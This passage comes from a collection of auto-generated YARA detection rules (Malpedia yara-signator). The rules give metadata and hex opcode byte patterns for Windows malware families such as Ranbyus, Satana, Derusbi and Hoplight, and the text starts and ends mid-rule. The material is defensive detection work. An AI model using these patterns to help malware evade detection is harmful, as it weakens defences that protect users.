		$sequence_7 = { c3 48895518 488d058b140b00 488945f8 48c745f027000000 488d55f0 8bce }
		$sequence_8 = { 7442 4883fa02 7472 e9???????? 4d8bc4 488d5520 488d8db0feffff }
		$sequence_9 = { 4531c0 ba86100000 488d0db8fd0500 e8???????? 4a8d0c0b 488b55f8 e8???????? }
	condition:
		7 of them and filesize < 1955840
}

rule MALPEDIA_Win_Scanpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea54b41f-0e3e-59d0-9d34-b01116c8bd16"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scanpos_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "d918dbccd253554c0b76ec27fc4d9c167e1c0563dfe60b916ccc540524fa3716"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 64a300000000 8b4508 33d2 c745e80f000000 8955e4 }
		$sequence_1 = { 3ad3 75f9 2bc1 8bd0 }
		$sequence_2 = { e8???????? 83c404 8b0d???????? 8939 8b15???????? 893a }
		$sequence_3 = { 8d85e8feffff 50 51 68???????? 68???????? e8???????? 83c40c }
		$sequence_4 = { 53 52 ffd0 3bc3 7508 3bd7 }
		$sequence_5 = { e9???????? 8db5acfeffff e9???????? 8b542408 8d420c 8b8a8cfeffff 33c8 }
		$sequence_6 = { e8???????? 03c8 8b4608 2bc2 3bc8 }
		$sequence_7 = { 50 8d45f4 64a300000000 8b4508 8918 8b0b }
		$sequence_8 = { 3bfb 0f82b9fdffff 837de810 720c 8b4dd4 }
		$sequence_9 = { 6aff 68???????? 53 ff15???????? 85c0 0f95c3 837dcc10 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Linseningsvr_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "68c65b63-e40e-59ed-9f87-895cfc0dec94"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.linseningsvr_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "e8f369f7ec61592e2a3b3fecf4bc420063f67a74461c185ad8f3d77705dffe45"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 8dbc24dd090000 c644241000 f3ab 66ab aa }
		$sequence_1 = { 8d542464 6a01 52 89442464 894c2468 e8???????? }
		$sequence_2 = { 8dbc24dd090000 c644241000 f3ab 66ab }
		$sequence_3 = { 8b0485c08d4000 03c6 8a5004 f6c201 }
		$sequence_4 = { e8???????? 57 e8???????? 83c418 8d44244c }
		$sequence_5 = { 742e 85f6 7419 0fb6da f683818c400004 }
		$sequence_6 = { c705????????01000000 50 a3???????? e8???????? 8db6bc884000 }
		$sequence_7 = { e8???????? 83c40c c3 53 56 be???????? 57 }
		$sequence_8 = { 8a4c3c4c 51 68???????? e8???????? 83c408 }
		$sequence_9 = { e8???????? 83c404 ebc2 8b0d???????? 68???????? 51 }
	condition:
		7 of them and filesize < 81360
}

rule MALPEDIA_Win_Ranbyus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "54de3fda-fe2a-5da1-b66d-8d3ced40b618"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ranbyus_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "82fa28b1862a5e88eb758d7dfc3440cfe7dde7bd4fcf686642cc7b0948f4efb1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? e8???????? 83c40c 33c0 eb03 83c8ff 5f }
		$sequence_1 = { 59 85ff 743e 56 6a01 }
		$sequence_2 = { 83661800 33c0 5e c3 56 }
		$sequence_3 = { 89460c 8b06 59 894604 }
		$sequence_4 = { 55 8d6c2490 81ec28010000 56 }
		$sequence_5 = { 3b4c2404 7504 83601800 33c0 40 eb11 50 }
		$sequence_6 = { 6801200000 e8???????? 8bf0 59 }
		$sequence_7 = { 83c605 e9???????? 47 e9???????? 0fb64e01 }
		$sequence_8 = { e8???????? 85c0 7504 83c8ff c3 c7402401000000 33c0 }
		$sequence_9 = { c706???????? eb07 8bce e8???????? 837e0400 75f3 }
	condition:
		7 of them and filesize < 638976
}

rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c0b55ef6-5e72-5427-8051-b4c3cd8766ea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysraw_stealer_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "c61c4a8b05627678a7ba0afb4e01a7aec8181a910b716ed57582ec5bcddd612c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd3 8bd0 8d8decfeffff ffd6 8b4d90 8d9580feffff 83c114 }
		$sequence_1 = { 56 ff512c 8b55bc 8b06 8d8d54feffff }
		$sequence_2 = { 33c9 8955bc 894de4 ba3f000000 }
		$sequence_3 = { 6a0d 57 56 ff5238 }
		$sequence_4 = { 8bf8 ffd6 3bfb 7472 }
		$sequence_5 = { 8b8df8feffff 8b85f4feffff 898d24feffff 8b8df0feffff 898d1cfeffff }
		$sequence_6 = { 8b550c 8b06 51 52 56 }
		$sequence_7 = { 2bd7 6a00 42 83ec08 895590 db4590 }
		$sequence_8 = { 8bd0 8b45d4 51 f7da }
		$sequence_9 = { 50 ffd3 8bd0 8d8d24ffffff ffd6 }
	condition:
		7 of them and filesize < 1540096
}

rule MALPEDIA_Win_Kuaibu8_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "755c9fef-12d3-5450-97c1-5338be93504a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kuaibu8_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "fc318523e53f24e8818ee766d5be4e6f49732099f739761d424c7624b095d7ec"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff35???????? b902000000 e8???????? 83c408 8945e0 8b45e0 50 }
		$sequence_1 = { 83c404 c1e002 03d8 895db4 8b5de8 e8???????? b804000000 }
		$sequence_2 = { 6a10 52 56 6689442416 e8???????? }
		$sequence_3 = { 7409 53 e8???????? 83c404 8b5de8 e8???????? }
		$sequence_4 = { 895dbc e8???????? 894db8 8b7dbc c70701000000 83c704 8bc1 }
		$sequence_5 = { 83c404 58 8945f4 8965ec 8d45f0 50 8b45f4 }
		$sequence_6 = { 83f800 0f851e000000 b8???????? 50 8b5d10 8b1b }
		$sequence_7 = { b8???????? 8945d8 8d45d8 50 6800000000 ff35???????? 8d45e0 }
		$sequence_8 = { 837d1400 0f8507000000 c7451401000000 837d1000 0f85aa020000 6802000080 6a00 }
		$sequence_9 = { 53 55 56 8b742430 85f6 57 750a }
	condition:
		7 of them and filesize < 737280
}

rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9750d3af-ce6a-5fd6-82be-e974a57fe309"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_qbp_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "29a4c00125a8c7fc3f2d53e8e3fdae1793d32ea093da5da3654341cbb647aaec"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7f12 8b4508 0345fc 33c9 8a08 83e930 894df4 }
		$sequence_1 = { 25ffff0000 2500800000 c1f80f 8be5 5d c3 55 }
		$sequence_2 = { 8b5508 52 ff15???????? 8d85f0feffff 50 }
		$sequence_3 = { 0fbf94414c520000 81fa00100000 7505 e9???????? 0fbf4508 8b4df8 }
		$sequence_4 = { 81e1ff000000 51 8b4de4 e8???????? }
		$sequence_5 = { aa 837d0800 7564 6800010000 6a00 8d85ecfdffff 50 }
		$sequence_6 = { 66898c5038770000 0fbf55f0 8b45ec 668b8c50907e0000 66894df8 }
		$sequence_7 = { 668b9176830000 668955fc 8b45f8 668b8876830000 66d1e1 8b55f8 }
		$sequence_8 = { 66050100 668945f4 e9???????? 66c745f80000 66c745f43a01 eb18 }
		$sequence_9 = { 0fbf5508 0fbf45fc 8b4df8 8b75f8 668b945648100000 6689944148100000 }
	condition:
		7 of them and filesize < 630784
}

rule MALPEDIA_Win_Satana_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2e802f49-7188-54f8-af9a-7b169267990a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satana_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "97eda1bd522e83f5fcc03e351c0ecc778e9c052cbb2ce47bd57943571eacd366"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 9c 90 8b1d???????? 6a00 }
		$sequence_1 = { 50 68???????? a3???????? e8???????? 83c408 03df }
		$sequence_2 = { a1???????? 6a00 03d2 52 50 ffd6 8b55ec }
		$sequence_3 = { 83c404 8bf0 660f57c0 660f1345c4 8b5dc4 8b7dac }
		$sequence_4 = { f7c200000002 7436 660f2805???????? 90 }
		$sequence_5 = { 0fb64c0de8 c1ea04 0fb65415e8 8850ff 8808 0fb64c35ae }
		$sequence_6 = { 50 68???????? e8???????? 83c414 eb14 ff15???????? }
		$sequence_7 = { 83c404 68???????? eb33 8d4db0 51 }
		$sequence_8 = { 8bc8 d1e8 83e101 33048d00904000 3305???????? a3???????? 33c0 }
		$sequence_9 = { 57 8d45fc 50 3308 db6819 203c53 6840200800 }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Leouncia_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a9724346-fb9d-57ad-b542-cb221faaaa09"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.leouncia_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "82ead8ce3a400451ff3f5916535aebe7ef2cee2e7927624a2fdf32a62ced8582"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 c644141800 ff15???????? 85c0 7512 ff15???????? 83f805 }
		$sequence_1 = { 3bf3 7519 8b35???????? 55 }
		$sequence_2 = { 895c2464 ff15???????? 85c0 7520 }
		$sequence_3 = { 8dbc247c040000 2bd6 8bca 89542418 8be9 c1e902 f3a5 }
		$sequence_4 = { 7505 c6440c2820 41 3bc8 7cee 8b842434050000 56 }
		$sequence_5 = { 50 e8???????? 8d4c2424 51 e8???????? 8b2d???????? 83c410 }
		$sequence_6 = { e8???????? 8b4c2420 83c40c 889c0c14010000 }
		$sequence_7 = { 8d542440 8d442450 8d8c24b4040000 52 }
		$sequence_8 = { 8b0f 52 50 51 6a00 ff15???????? }
		$sequence_9 = { 89942444040000 8b542434 8bc1 8bf5 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Molerat_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d42e4503-ecb9-5c8a-a5c4-49076e4c4692"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.molerat_loader_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "fb8054083b6be147b0212c1c64a0a9853635b01e04e79803ccd8499a9a7c2505"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4db8 c645fc34 e8???????? 68???????? 8d4dbc c645fc35 e8???????? }
		$sequence_1 = { 51 c645fc42 e8???????? 83c40c }
		$sequence_2 = { 8b08 8b11 50 8b4204 ffd0 c644243409 8b44240c }
		$sequence_3 = { 56 a1???????? 33c4 50 8d84241c020000 64a300000000 6804010000 }
		$sequence_4 = { 8d4c2450 c744242000000000 e8???????? 8d4c241c c644243802 e8???????? 8d442410 }
		$sequence_5 = { ffb56cffffff c745fc02000000 e8???????? 3bc7 7585 56 ffb56cffffff }
		$sequence_6 = { ffd0 68???????? 8d8d08feffff e8???????? 8b8508feffff 83c0f0 }
		$sequence_7 = { c644241c02 8b442410 83c0f0 83c40c 8d500c 83c9ff f00fc10a }
		$sequence_8 = { 83c40c 68???????? 50 8d4de0 b330 51 885dfc }
		$sequence_9 = { 8b7d08 57 8d45e0 33f6 50 8975e8 }
	condition:
		7 of them and filesize < 688128
}

rule MALPEDIA_Win_Milkmaid_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7da20991-98e0-57dd-8b6d-3afa27d44835"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.milkmaid_auto.yar#L1-L106"
		license_url = "N/A"
		logic_hash = "7d1f7f5be2aa6e035c1f331c5b3df828eca6552df1209a5dbc69d5d2d3452b78"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4c2414 889c24dc280100 e8???????? 8d4c240c }
		$sequence_1 = { 8d442408 57 50 e8???????? 83c404 33db 68???????? }
		$sequence_2 = { 8d4c2408 e8???????? 68???????? 8d4c2408 e8???????? 8b442404 6a00 }
		$sequence_3 = { 8a8528280100 81e1ff0f0000 33db 84c0 8a5c2918 895c2428 }
		$sequence_4 = { 50 ff15???????? 8b74241c 8d4c2404 51 8bce }
		$sequence_5 = { 8d4c240c c78424dc280100ffffffff e8???????? 33c0 8b8c24d4280100 5f }
		$sequence_6 = { 8b4c240c 50 51 8d8c2480000000 c68424e428010003 e8???????? }
		$sequence_7 = { 6a00 6a1a 6a00 ff15???????? 6aff 8d4c2408 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Hoplight_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c82c3889-c1c1-5b5f-b045-d951cf697dce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hoplight_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "64af8d5fa666e50115627ed90a11584ace05accbe5176be041c804017c028f5b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b442450 c70000000000 c705????????00000100 b800000100 eb53 488b442440 4889442428 }
		$sequence_1 = { 0fb6542434 488b4c2450 e8???????? 488b442450 8b80ccaf0600 488b4c2450 488d8401b8af0100 }
		$sequence_2 = { 488bcb 488905???????? ff15???????? 488d158c620400 488bcb 488905???????? ff15???????? }
		$sequence_3 = { 488b442428 488b8018020000 4889442428 41b820020000 33d2 488b4c2430 e8???????? }
		$sequence_4 = { 4883c004 4889842418020000 8b442414 0faf442424 8944240c 8b442414 0faf442408 }
		$sequence_5 = { 488b4878 e8???????? b801000000 eb76 41b800420000 33d2 488b442440 }
		$sequence_6 = { 4489442418 4889542410 48894c2408 4883ec48 488b4c2450 e8???????? 89442420 }
		$sequence_7 = { 482bc8 488bc1 4883f801 7d0a b814ffffff e9???????? 488b8424d0000000 }
	condition:
		7 of them and filesize < 765952
}

rule MALPEDIA_Win_Comebacker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "19238c8d-fa63-54d2-9e85-3ef6a0f14568"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.comebacker_auto.yar#L1-L159"
		license_url = "N/A"
		logic_hash = "5042f5e1cb03a035d2e07683a701a487f9bff93086c3cbb30af6f5ad30fe783b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6683f809 7f04 0430 eb02 0437 }
		$sequence_1 = { baa2000000 4c8d0d47450300 b910000000 448d42a0 }
		$sequence_2 = { 0fb6c2 418b8c8270c30400 81e100ff0000 4433c1 453341fc 453343fc }
		$sequence_3 = { b801000000 418bc8 0f45c8 488d05c0150300 488d1d11aa0300 85c9 }
		$sequence_4 = { 4c8d0583520100 418d5216 e8???????? 85c0 750a b805000000 }
		$sequence_5 = { 6690 e8???????? 48ffc3 8bf8 b84fecc44e f7ef }
		$sequence_6 = { 89742440 48894598 c744245068000000 c744247004010000 }
		$sequence_7 = { 0fb6c8 8bc5 8b948e70cf0400 48c1e808 0fb6c8 81e20000ff00 }
		$sequence_8 = { e8???????? a1???????? 8b8da8f8ffff c1e00a d1e8 2bcf }
		$sequence_9 = { 33d2 8a54242a 8adc 8b149538600410 }
		$sequence_10 = { 5b c3 8b74241c 8b6c2414 85f6 }
		$sequence_11 = { 6806020000 8d8d7ef7ffff 53 51 885de8 8945e9 }
		$sequence_12 = { 52 ff15???????? a3???????? 85c0 7440 399de8e5ffff 750a }
		$sequence_13 = { 8b0c8d38500410 33d3 8b3cbd38500410 81e1ff000000 }
		$sequence_14 = { 74ab 8d8df4feffff 51 e8???????? 83c404 }
	condition:
		7 of them and filesize < 1429504
}

rule MALPEDIA_Win_Derusbi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c6e0e6e7-cbdf-5891-a775-1ae225a23d68"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.derusbi_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "36fd1aba73e044d12574f8ec4270d71e7197a2500df09c018d411307abbf5635"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 75be 8b45c8 895db0 895dac 3bc3 0f84affeffff }
		$sequence_1 = { 72e4 5e c3 55 8bec 51 53 }
		$sequence_2 = { 6810040000 ff15???????? 8985f8fdffff 85c0 7464 }
		$sequence_3 = { ff7508 ff15???????? 8bf0 59 85f6 740f ff7508 }
		$sequence_4 = { 56 89442418 57 8d442424 50 8d44242c 50 }
		$sequence_5 = { 83c108 3d00040000 72f1 e9???????? 215cc70c 8d5cc710 }
		$sequence_6 = { 50 ff15???????? 83c40c 56 8d4c2470 51 889c2407010000 }
		$sequence_7 = { 83c40c 8d45dc 50 ff15???????? 83f8ff 740d a810 }
		$sequence_8 = { 53 50 ffd6 83c40c 8d442424 50 8d84242cbc0200 }
		$sequence_9 = { 8d85b8f7ffff e8???????? 59 33c9 85c0 7e25 80b40db8fbffff99 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Fobber_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "910b3d1e-c7a6-55ab-b1c2-4f8035f4a57d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fobber_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "3cf9174005b14188a8f0ba63481f290f2ae0ab907becb2c7edb09c680f60ed5d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b750c 8b4d10 39f7 760e }
		$sequence_1 = { 57 51 8b7d08 30c0 31c9 f7d1 }
		$sequence_2 = { 8d0431 39f8 7607 49 01cf }
		$sequence_3 = { 57 e8???????? 85c0 740f 89c1 }
		$sequence_4 = { 8d4d08 51 ff31 ffd0 }
		$sequence_5 = { 55 89e5 ff750c 6800300000 }
		$sequence_6 = { 0453 42 e2f6 59 }
		$sequence_7 = { f2ae 31c0 e303 4f }
		$sequence_8 = { 8981efc00700 0081efe82300 0081c7371300 0081c7546900 0081c7397d00 00e9 }
		$sequence_9 = { 0f85196e0100 807dfc00 7407 8b4df8 836170fd 5e }
		$sequence_10 = { 4d fc 02e9 5a a2???????? 92 b4ff }
		$sequence_11 = { 0f8423050000 ff7508 e8???????? 59 59 8b4508 }
		$sequence_12 = { 43 7706 6205???????? 294a75 f2149c }
		$sequence_13 = { 6a52 686bb7ade9 e8???????? 83c408 }
		$sequence_14 = { 3bc3 7524 8b451c 3bc3 }
		$sequence_15 = { 33db 57 3bcb 0f8499840100 3bf3 0f84a2840100 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Unidentified_053_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "44778796-93f3-5879-994d-5e3e2324b3e0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_053_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "0ba9fcbf3221aa7fe9aa16ac81cd13a3c2e0b0b30a12bf9f5e09619187f5d921"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f857afeffff 393cb500924100 742e a1???????? 8d70ff 85f6 }
		$sequence_1 = { 0fb6bdb0fffcff c1e208 0bd7 03d0 2bca 6a00 }
		$sequence_2 = { 754d 53 57 8d3c85a8914100 833f00 bb00100000 7520 }
		$sequence_3 = { 7e13 8d048dfc914100 3938 7408 4a }
		$sequence_4 = { 8a6e1b 0fb64619 0fb67df4 8a4e1a }
		$sequence_5 = { 81e9003ca875 87d6 4e 46 87d6 81c1003ca875 }
		$sequence_6 = { 0fb6d2 f6820194410004 7406 8b10 41 }
		$sequence_7 = { c1c719 e8???????? 87f2 e8???????? 2bd5 }
		$sequence_8 = { 891d???????? 4a 87d6 8915???????? 03f7 46 893d???????? }
		$sequence_9 = { 8b048588814100 234508 8b4e14 8d04c1 0fb64801 8b5004 83fa10 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Miancha_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fc1eda3c-bd5f-5571-91d7-7aefaea33797"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miancha_auto.yar#L1-L118"
